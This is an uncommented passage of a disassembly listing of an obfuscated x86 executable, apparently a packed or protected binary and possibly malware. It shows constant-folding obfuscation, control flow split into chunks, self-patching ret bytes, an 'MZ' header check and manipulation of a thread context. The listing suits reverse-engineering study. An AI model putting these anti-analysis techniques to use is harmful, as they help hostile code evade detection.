; START	OF FUNCTION CHUNK FOR sub_4445C7

loc_444061:				; CODE XREF: sub_4445C7+19j
		jmp	loc_449725
; END OF FUNCTION CHUNK	FOR sub_4445C7
; ---------------------------------------------------------------------------
		and	edi, 0B87A33CCh
		jmp	loc_445B7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AFAE

loc_444071:				; CODE XREF: sub_44AFAE+6j
		push	197E1915h
		pop	ebx
		sub	ebx, 0A0A9057Dh
		rol	ebx, 13h
		add	ebx, 9D1B7425h
		rol	ebx, 14h
		jmp	loc_449FD9
; END OF FUNCTION CHUNK	FOR sub_44AFAE
; ---------------------------------------------------------------------------

loc_44408E:				; CODE XREF: kgbikm34:0044E2B0j
		jmp	ds:dword_41E148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_444094:				; CODE XREF: sub_440F62+8B3Cj
		jmp	loc_43FDDB
; END OF FUNCTION CHUNK	FOR sub_440F62
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	byte ptr [ebp+5A000088h], 8Bh
		add	al, 24h
		push	edi
		jmp	loc_447C40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BE96

loc_4440A9:				; CODE XREF: kgbikm34:loc_43CCCAj
					; sub_44BE96+12j
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_7
		pop	ecx
		jmp	loc_43CFDC
; END OF FUNCTION CHUNK	FOR sub_44BE96

; =============== S U B	R O U T	I N E =======================================



sub_4440BA	proc near		; CODE XREF: sub_4479B1+3j

; FUNCTION CHUNK AT 004448A4 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00445A1A SIZE 00000005 BYTES

		add	esp, 0FFFFFFF8h
		jmp	loc_445A1A
sub_4440BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BC91

loc_4440C2:				; CODE XREF: sub_43BC91+5j
		jmp	ds:off_41E178
; END OF FUNCTION CHUNK	FOR sub_43BC91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F200

loc_4440C8:				; CODE XREF: sub_43F200+12j
		jmp	loc_4393D0
; END OF FUNCTION CHUNK	FOR sub_43F200

; =============== S U B	R O U T	I N E =======================================



sub_4440CD	proc near		; CODE XREF: sub_43741E+17D9j
					; sub_43BC91p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043839B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043CF06 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043D08D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D2C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444AE2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447B5B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00447D65 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00448652 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448E97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004495C0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AEB2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044CD6D SIZE 0000001B BYTES

		xchg	esi, [esp-4+arg_0]
		mov	edx, esi
		pop	esi
		jmp	loc_447B5B
sub_4440CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4440D8:				; DATA XREF: sub_444C12+B9Co
		cmp	byte ptr [eax],	0EBh
		jz	loc_43CEBE
		mov	eax, [ebp-4]
		mov	al, [eax]
		and	al, 0F6h
		cmp	al, 0C2h
		jz	loc_43CEBE
		jmp	loc_442924
; ---------------------------------------------------------------------------

loc_4440F5:				; CODE XREF: kgbikm34:0043F7A4j
		jz	loc_43C2F5
		pop	ebp
		jmp	loc_448A83
; ---------------------------------------------------------------------------

loc_444101:				; DATA XREF: sub_440EC9+ABAAo
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43E22C
		or	eax, eax
		jnz	loc_449945
		jmp	loc_44616C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_444118:				; CODE XREF: sub_43BCAD+7BE1j
		jz	loc_43D401
		jmp	loc_448736
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_444123:				; CODE XREF: kgbikm34:loc_448763j
		pop	edx
		add	edx, ds:4000F1h
		or	edx, 585EAA07h
		add	edx, 21C4A7B1h
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_4491E2
		jmp	loc_4396F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441353

loc_444145:				; CODE XREF: sub_441353+Fj
		push	ecx
		push	7B506BB3h
		pop	ecx
		and	ecx, 1D54DAA1h
		add	ecx, 0E6F3D05Bh
		jmp	loc_438AC4
; END OF FUNCTION CHUNK	FOR sub_441353
; ---------------------------------------------------------------------------

loc_44415D:				; DATA XREF: sub_43B26D:loc_43DE85o
		jnb	loc_44BEB9
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_445D55
		mov	eax, ecx
		jmp	loc_43B457
; ---------------------------------------------------------------------------

loc_444174:				; CODE XREF: kgbikm34:0043BFD3j
					; kgbikm34:loc_445226j
		jz	loc_448E4F

loc_44417A:				; CODE XREF: kgbikm34:loc_43C340j
		push	ecx
		sub	ecx, 1D132853h
		xchg	ebp, eax

loc_444183:				; CODE XREF: kgbikm34:loc_4371C7j
		mov	eax, [ebp-4]
		jmp	loc_44AE32
; ---------------------------------------------------------------------------

loc_44418B:				; DATA XREF: kgbikm34:0044D1ECo
		push	edi
		push	0F50357DCh
		pop	edi
		and	edi, 185B642Eh
		rol	edi, 0Ch
		add	edi, 0CC0120F8h
		call	sub_43A5F7
; START	OF FUNCTION CHUNK FOR sub_439034

loc_4441A6:				; CODE XREF: sub_439034+10j
		call	sub_43AB5E

loc_4441AB:				; CODE XREF: sub_4418C2-6FA9j
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------
		pushf
		shr	edi, 0Fh
		jmp	sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABBB

loc_4441B9:				; CODE XREF: sub_44ABBB-AB63j
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4441BC:				; CODE XREF: sub_44ABBB-AB6Aj
		mov	eax, [ebp-4]
		mov	al, [eax]
		sub	al, 99h
		mov	edx, [ebp-4]
		push	offset loc_447819
		jmp	loc_44C696
; END OF FUNCTION CHUNK	FOR sub_44ABBB
; ---------------------------------------------------------------------------
		xor	eax, 0C32B1C59h
		jmp	loc_43B72C
; ---------------------------------------------------------------------------

loc_4441DB:				; CODE XREF: kgbikm34:loc_4410F3j
		mov	edi, eax
		xchg	edi, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_4441E1:				; CODE XREF: sub_4478CD+364Cj
		jmp	loc_439AD1
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_4441E6:				; CODE XREF: sub_44D21F-15713j
		jmp	loc_445EC4
; END OF FUNCTION CHUNK	FOR sub_44D21F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4441EB	proc near		; CODE XREF: sub_44649E-572j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A71B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043AF44 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D481 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004402AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044057D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004417A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441DF6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442CE4 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00446DF2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00448507 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044920D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449377 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	esi, [esp+0]
		jmp	loc_43D481
sub_4441EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44656B

loc_4441F9:				; CODE XREF: sub_44656B+Bj
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_44BF3B
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		jmp	loc_43B452
; END OF FUNCTION CHUNK	FOR sub_44656B
; ---------------------------------------------------------------------------
		mov	eax, 0FFB060E7h
		push	esi
		push	0D50CCC6Eh
		pop	esi
		rol	esi, 1Ah
		add	esi, 44F03DC7h
		jmp	loc_44255F
; ---------------------------------------------------------------------------
		xor	eax, ebp
		jmp	loc_448252
; ---------------------------------------------------------------------------

loc_444234:				; CODE XREF: kgbikm34:0044065Cj
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44055B

loc_44423B:				; CODE XREF: sub_44055B+16j
		jmp	loc_4491CC
; END OF FUNCTION CHUNK	FOR sub_44055B

; =============== S U B	R O U T	I N E =======================================



sub_444240	proc near		; CODE XREF: kgbikm34:0044D24Ep

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00438F7F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B0F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C18B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C7EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D527 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442B94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00443F65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044555B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00447AF7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004484F8 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_438F7F
sub_444240	endp

; ---------------------------------------------------------------------------
		rol	edi, 15h
		and	edx, ebx
		jmp	sub_43730F
; ---------------------------------------------------------------------------
		shr	eax, 1Eh
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_444253:				; CODE XREF: sub_4438E2:loc_443C85j
		call	sub_4499DB
; END OF FUNCTION CHUNK	FOR sub_4438E2
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_444258:				; CODE XREF: sub_44739D-CD08j
		jmp	loc_43BCEA
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44425D:				; CODE XREF: sub_4474D5:loc_4451EFj
		mov	edx, ebp
		pop	ebp
		pop	eax
		push	eax
		jmp	loc_43DCD8
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_444267	proc near		; DATA XREF: kgbikm34:004402CAo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437783 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A815 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043BD88 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044391D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004485A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449BD9 SIZE 00000025 BYTES

		jno	loc_437783
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, ebx
		jmp	loc_43BD88
sub_444267	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_439EAD
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		push	eax
		call	sub_442C3F
		jmp	loc_4472FB
; ---------------------------------------------------------------------------
		jmp	loc_43BB03
; ---------------------------------------------------------------------------

loc_444290:				; CODE XREF: kgbikm34:0043945Ej
		jl	loc_4484C3

; =============== S U B	R O U T	I N E =======================================



sub_444296	proc near		; CODE XREF: sub_43C190p

; FUNCTION CHUNK AT 0043D3DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044687A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B2A SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx

loc_44429A:				; CODE XREF: kgbikm34:loc_43B7B9j
		pop	edx
		jmp	loc_448B2A
sub_444296	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_4442A0:				; CODE XREF: sub_43D045-1452j
		jz	loc_442AAF
		jmp	loc_437A54
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

loc_4442AB:				; DATA XREF: sub_44D9CE+6o
		push	41C22BF8h
		pop	eax
		or	eax, 4D6DD2C8h
		and	eax, 0D781CADFh
		jmp	loc_4495C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_4442C2:				; CODE XREF: sub_441B24+B8AEj
		jnz	loc_449492
		jmp	loc_446F71
; END OF FUNCTION CHUNK	FOR sub_441B24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_4442CD:				; CODE XREF: sub_43FD63:loc_442676j
		push	offset sub_44B57E
		jmp	nullsub_239
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B537

loc_4442D7:				; CODE XREF: sub_44B537:loc_439CBDj
		add	ebx, 9D84C4CAh
		mov	[ebx], eax
		push	offset loc_44B158
		jmp	nullsub_172
; END OF FUNCTION CHUNK	FOR sub_44B537
; ---------------------------------------------------------------------------
		or	eax, 87C95263h
		jmp	loc_44ADBC
; ---------------------------------------------------------------------------
		shl	ecx, 1Ch
		jmp	loc_442B57
; ---------------------------------------------------------------------------

loc_4442FC:				; CODE XREF: kgbikm34:loc_43A100j
		push	offset loc_43F9BB
		jmp	loc_44A74E
; ---------------------------------------------------------------------------

loc_444306:				; CODE XREF: kgbikm34:0043E508j
		cdq
		xchg	eax, esi
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_444309:				; CODE XREF: sub_44A80D:loc_43E4F6j
		xor	esi, 0C391303h
		add	esi, 7010AE82h
		mov	[esi], eax
		pop	esi
		lea	eax, loc_44B4CE
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B4CE
; END OF FUNCTION CHUNK	FOR sub_44A80D

; =============== S U B	R O U T	I N E =======================================



sub_444326	proc near		; DATA XREF: sub_43C638+Do

; FUNCTION CHUNK AT 004482A3 SIZE 0000000C BYTES

		call	sub_44B64C
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_445828
		jmp	loc_4482A3
sub_444326	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_44433D:				; CODE XREF: kgbikm34:loc_438FADj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_44433E:				; CODE XREF: sub_4433D8+1A0Ej
		jmp	loc_43AC4C
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3D0

loc_444343:				; CODE XREF: sub_43A3D0+12j
		jmp	loc_44DB54
; END OF FUNCTION CHUNK	FOR sub_43A3D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_444349:				; CODE XREF: sub_43A6C7+8119j
		jmp	loc_44A48D
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_367. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DAB

loc_44434F:				; CODE XREF: sub_443DAB-7798j
		jmp	loc_43B20E
; END OF FUNCTION CHUNK	FOR sub_443DAB
; ---------------------------------------------------------------------------

loc_444354:				; CODE XREF: kgbikm34:0043710Aj
		jmp	locret_43C928
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0BEh
		dd 0E9FFFFC8h, 552Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_444364:				; CODE XREF: sub_449D78-58F0j
		jge	loc_43B28B
		push	0DF2DEFC9h
		jmp	loc_43B280
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		mov	eax, 0EA3AEDBCh
		push	edx
		push	0FE23181Ch
		pop	edx
		rol	edx, 0Bh
		jmp	loc_446D93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_444388:				; CODE XREF: sub_440380+A464j
		jz	loc_448ED2
		jmp	loc_441EA3
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_444393:				; CODE XREF: sub_43B1D6+8B5Cj
		ja	loc_43AD42
		test	eax, esi
		jmp	loc_44214D
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_4443A0:				; CODE XREF: sub_439274:loc_445FF3j
		sbb	edx, 625CA1C7h
		jmp	loc_43DD29
; END OF FUNCTION CHUNK	FOR sub_439274
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4443AC:				; CODE XREF: kgbikm34:00438EB7j
					; kgbikm34:loc_43D6C8j
		jge	loc_44195A
		jbe	loc_4410D2
		jmp	loc_44045B
; ---------------------------------------------------------------------------

loc_4443BD:				; DATA XREF: kgbikm34:loc_443869o
		push	0A662204h
		pop	edx
		or	edx, 7E29EF0Bh
		sub	edx, 0F0E85D8Ah
		and	edx, 9138414Bh
		jmp	loc_43EE1F
; ---------------------------------------------------------------------------
		jmp	ds:off_41E164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_4443E0:				; CODE XREF: sub_43A2FF+432Dj
					; sub_439034:loc_441EA8j ...
		js	loc_439040
		xchg	ebx, [esp-4+arg_0]
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp-8+arg_4]
		jmp	loc_44B9C9
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_4443F4:				; CODE XREF: sub_4418C2:loc_439B5Aj
		call	sub_43BF6F
		mov	ds:off_41E064, eax
		lea	eax, loc_44768E

loc_444405:				; CODE XREF: kgbikm34:loc_449905j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44768E
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_44440D:				; CODE XREF: sub_439924:loc_449746j
		call	sub_43CC43

loc_444412:				; CODE XREF: kgbikm34:0044C42Dj
		jmp	loc_441630
; END OF FUNCTION CHUNK	FOR sub_439924
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_444417:				; CODE XREF: sub_43FD63+9D51j
		jmp	loc_446FF4
; END OF FUNCTION CHUNK	FOR sub_43FD63

; =============== S U B	R O U T	I N E =======================================



sub_44441C	proc near		; CODE XREF: kgbikm34:004385F7j
					; sub_438ACE+D70p
		xchg	esi, [esp+0]
		pop	esi
		add	edx, 0D506C948h
		add	edx, ebp
		push	esi
		call	sub_439609

loc_44442E:				; CODE XREF: sub_4396C0+6j
		jmp	sub_445779
sub_44441C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_444433:				; CODE XREF: sub_443DF0+6BC5j
		and	edi, 0C220B7FDh
		cmp	edi, 1182231Ah
		jmp	loc_447D36
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------

locret_444444:				; CODE XREF: kgbikm34:004496D8j
		retn
; ---------------------------------------------------------------------------

loc_444445:				; CODE XREF: kgbikm34:loc_442680j
		push	eax
		push	605D53E1h
		mov	eax, 0AA9E533Fh
		jmp	loc_4370D4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_444456:				; CODE XREF: sub_44649E:loc_44D685j
		mov	eax, esi
		pop	esi
		add	eax, 32A76BACh
		sub	eax, 0A8AB6913h
		jmp	loc_43E5D9
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_44446A:				; CODE XREF: sub_449D78-EFFDj
		adc	edi, 0D24FCE08h

loc_444470:				; CODE XREF: sub_444240:loc_43C7EAj
		push	8DE5DA2Ch
		pop	eax
		add	eax, 2C9B8379h
		and	eax, 60FF24D2h
		cmp	eax, 89761543h
		jmp	loc_444364
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
		push	1F419140h
		jmp	sub_447E41
; ---------------------------------------------------------------------------

loc_444497:				; CODE XREF: kgbikm34:00438F56j
		add	eax, 1B8A5866h
		add	eax, ebp
		add	eax, 89DC059Bh
		mov	eax, [eax]
		cmp	word ptr [eax],	5A4Dh
		jmp	loc_437A32
; ---------------------------------------------------------------------------
		jge	loc_43704F
		jmp	sub_449880
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4444BC:				; CODE XREF: sub_439BDE:loc_443786j
		pop	edi
		or	edi, 64F90605h
		rol	edi, 10h
		or	edi, 0A4C0A718h
		add	edi, 584DCAC6h
		jmp	loc_43E098
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_4444D7:				; CODE XREF: sub_4394EB:loc_44D93Ej
		jz	loc_439574
		jmp	loc_4429EC
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4444E2:				; CODE XREF: sub_449F77:loc_44ADB2j
		jge	loc_43DE91
		pushf
		jmp	loc_43DE8F
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_4444EE:				; CODE XREF: sub_439587+D769j
		sbb	eax, edi
		xchg	ebp, edi

loc_4444F2:				; CODE XREF: sub_439587:loc_438CBBj
		movzx	eax, word ptr [ebp-6]
		mov	edx, [ebp-18h]
		cmp	eax, [edx+18h]
		jmp	loc_43E06F
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		adc	eax, 25EEFDE1h
		jmp	sub_43A77E
; ---------------------------------------------------------------------------

loc_44450C:				; CODE XREF: kgbikm34:0044271Dj
		jns	sub_44CD31

; =============== S U B	R O U T	I N E =======================================



sub_444512	proc near		; CODE XREF: kgbikm34:00448F19p

; FUNCTION CHUNK AT 0043A59F SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	ecx, 0B8837579h
		mov	ecx, [ecx]
		mov	eax, [ebp-24h]
		mov	dx, [eax+2]
		jmp	loc_43A59F
sub_444512	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edi, 0CB5D959h
		jmp	loc_44BAB1
; ---------------------------------------------------------------------------
		pushf
		xchg	ebx, esi
		js	loc_448567
		add	edx, edi
		jmp	loc_43D057
; ---------------------------------------------------------------------------
		sbb	edx, ebp
		jmp	sub_44B292
; ---------------------------------------------------------------------------

loc_44454C:				; CODE XREF: kgbikm34:00449FC0j
		or	esi, 931ECE8Dh
		sub	esi, 4A8CB473h
		add	esi, 9351D859h
		xchg	esi, [esp]
		jmp	loc_4399C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A680

loc_444566:				; CODE XREF: sub_44A680:loc_44AF29j
		mov	eax, esp
		push	0
		mov	edx, esp
		push	edx
		push	esi
		jmp	loc_44D32F
; END OF FUNCTION CHUNK	FOR sub_44A680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_444573:				; CODE XREF: sub_43F5F7:loc_43C262j
		call	sub_43FF32

loc_444578:				; CODE XREF: kgbikm34:0044BDC9j
		jmp	loc_4384DD
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------

loc_44457D:				; CODE XREF: kgbikm34:0043BBB4j
		jmp	loc_4420DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_262. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429BC

loc_444583:				; CODE XREF: sub_4429BC+Dj
		jmp	loc_447CAE
; END OF FUNCTION CHUNK	FOR sub_4429BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_444588:				; CODE XREF: sub_44114F-44D3j
		jmp	sub_43F65B
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		sub	ebx, 13CBC51Fh
		jmp	sub_440488
; ---------------------------------------------------------------------------

loc_444598:				; CODE XREF: kgbikm34:00445FE2j
		xor	ecx, 6B44496Ch
		mov	[ecx], ebx
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4445A0:				; CODE XREF: sub_44B20C:loc_445FD5j
		rol	eax, 19h
		xor	eax, 0A24F47AFh
		jmp	loc_449FCD
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_4445AE:				; CODE XREF: sub_43BCAD:loc_43DF17j
		dec	eax
		test	eax, eax
		jl	loc_4481A1
		inc	eax
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0
		jmp	loc_44BF6C
; END OF FUNCTION CHUNK	FOR sub_43BCAD

; =============== S U B	R O U T	I N E =======================================



sub_4445C7	proc near		; CODE XREF: sub_43FD63-619p
					; kgbikm34:00449C20j

; FUNCTION CHUNK AT 00444061 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449725 SIZE 00000007 BYTES

		xchg	eax, [esp+0]
		pop	eax
		inc	dword ptr [ebp-28h]
		push	0E2614419h
		pop	eax
		xor	eax, 0C904DAF2h
		add	eax, 16CB7B8Ch
		jmp	loc_444061
sub_4445C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4445E5:				; CODE XREF: kgbikm34:00445924j
		xchg	ecx, [ebp+0]
		push	ebx
		jmp	loc_4438CA
; ---------------------------------------------------------------------------

loc_4445EE:				; CODE XREF: kgbikm34:00448B81j
		sub	al, 99h
		push	offset loc_43A211
		jmp	loc_44AC0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441711

loc_4445FB:				; CODE XREF: sub_441711+Cj
		jmp	loc_44AEC3
; END OF FUNCTION CHUNK	FOR sub_441711

; =============== S U B	R O U T	I N E =======================================



sub_444600	proc near		; CODE XREF: sub_4083C9+8p
					; kgbikm34:004377DEj
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004377E4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442FDF SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444BFA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00446F5D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004475EC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044BC20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DEE2 SIZE 00000021 BYTES

		push	eax
		push	4BE24950h
		pop	eax
		or	eax, 0FB1E482Fh
		add	eax, 4452E5Fh
		xchg	eax, [esp+4+var_4]
		jmp	loc_44BC20
sub_444600	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_4464FC

loc_444620:				; CODE XREF: kgbikm34:0043F77Aj
		jmp	loc_4371B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_444625:				; CODE XREF: sub_4471D6-DF16j
		jmp	loc_447175
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55C

loc_44462A:				; CODE XREF: sub_43C55C+1D50j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_439F9B
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		jmp	loc_439F8A
; END OF FUNCTION CHUNK	FOR sub_43C55C
; ---------------------------------------------------------------------------

loc_44463F:				; CODE XREF: kgbikm34:00444C59j
		mov	[edx], eax
		pop	edx
		lea	eax, sub_4391E0
		mov	byte ptr [eax],	0C3h
		jmp	loc_439825
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_444650:				; CODE XREF: sub_4391E0j
		pop	edx
		mov	eax, [esp+0]
		push	edx
		jmp	loc_43CF5B
